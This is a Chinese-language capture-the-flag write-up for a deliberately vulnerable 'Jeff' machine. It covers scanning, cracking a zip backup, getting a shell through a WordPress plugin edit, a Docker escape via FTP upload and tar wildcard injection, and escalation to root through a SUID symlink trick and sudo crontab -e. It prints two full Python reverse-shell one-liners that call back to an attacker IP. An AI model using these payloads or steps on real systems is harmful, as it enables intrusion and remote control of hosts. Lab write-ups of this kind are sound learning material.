Jeff
你能破解杰夫的网络服务器吗?
如果你发现自己在暴力破解SSH,你就做错了。
端口扫描
循例nmap
进80,是一个空页面,查看源代码
将jeff.thm加入hosts
上gobuster
/admin是空页面,/backups也没东西,/uploads是文件上传点
然而连upload也是假的
扫admin/,login.php还是空的
扫/backups/
把backup.zip下下来,需要密码
zip2john后直接爆
查看bak得到wp密码
现在就差wp站点没找到,不出意外应该是vhost,直接上ffuf
把wordpress子域加进hosts
进到wp并且利用刚刚的凭据登录
无法通过改页面getshell
这里利用插件编辑器改插件index.php
但akismet这个目录无权访问
换另一个插件,同样的方法
访问hello.php
没问题,直接reverse shell
python3.7可用
payload:
python3.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
docker逃逸
在家目录的html下有一个root的文件
$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';
$username = "backupmgr";
$password = "SuXXXXXXxXXXXXXXX3!";
$ftp = ftp_connect("172.20.0.1"); // todo, set up /etc/hosts for the container host
if( ! ftp_login($ftp, $username, $password) ){
die("FTP Login failed.");
}
$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
$msg = "$file was uploaded.\n";
}
很明显,172.20.0.1应该就是宿主机,而该php文件将连接到宿主机的ftp并上传一些文件去备份
这里没有ftp,我们可以用curl
这里上传文件后,如何进行备份是一个更值得关注的地方
在以往,我们通过所谓备份来提权的应该就是tar的通配符注入了
如果这里也是tar把ftp上传的文件进行备份,那么我们将直接逃逸到宿主机,获得宿主机的shell
hack.sh
#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
base64编码解码写入hack.sh
上传ftp
成功过来
横向移动
看到用户名是backupmgr,一下联想到了/var/backups,在/var/backups下有个bak,但目前无权查看
/opt
进到systools,查看message.txt
systool是一个可执行文件并且带jeff的suid,可以查看进程和“重置jeff的密码”
而systool会读取message.txt,并且message.txt我们有所有权
联合上面发现的jeff.bak,我们可以通过ln将message.txt链接到jeff.bak来读取其内容
再次执行systool,获得jeff的密码
ssh登过去,发现ssh的shell受限, 是rbash,什么都干不了
通过刚刚的shell直接su过去,发现至少还能执行一些命令
发现只禁止了/,环境变量并没有被破坏,直接bash获得bash
拿到user flag,但是这个flag是错误的,看到flag里面有个Hash Me两个字眼果断将其MD5
再次提交,成功
权限提升
查看sudo -l
久违的crontab -e提权
进到vim之后直接:!/bin/bash
成功到root,拿到root flag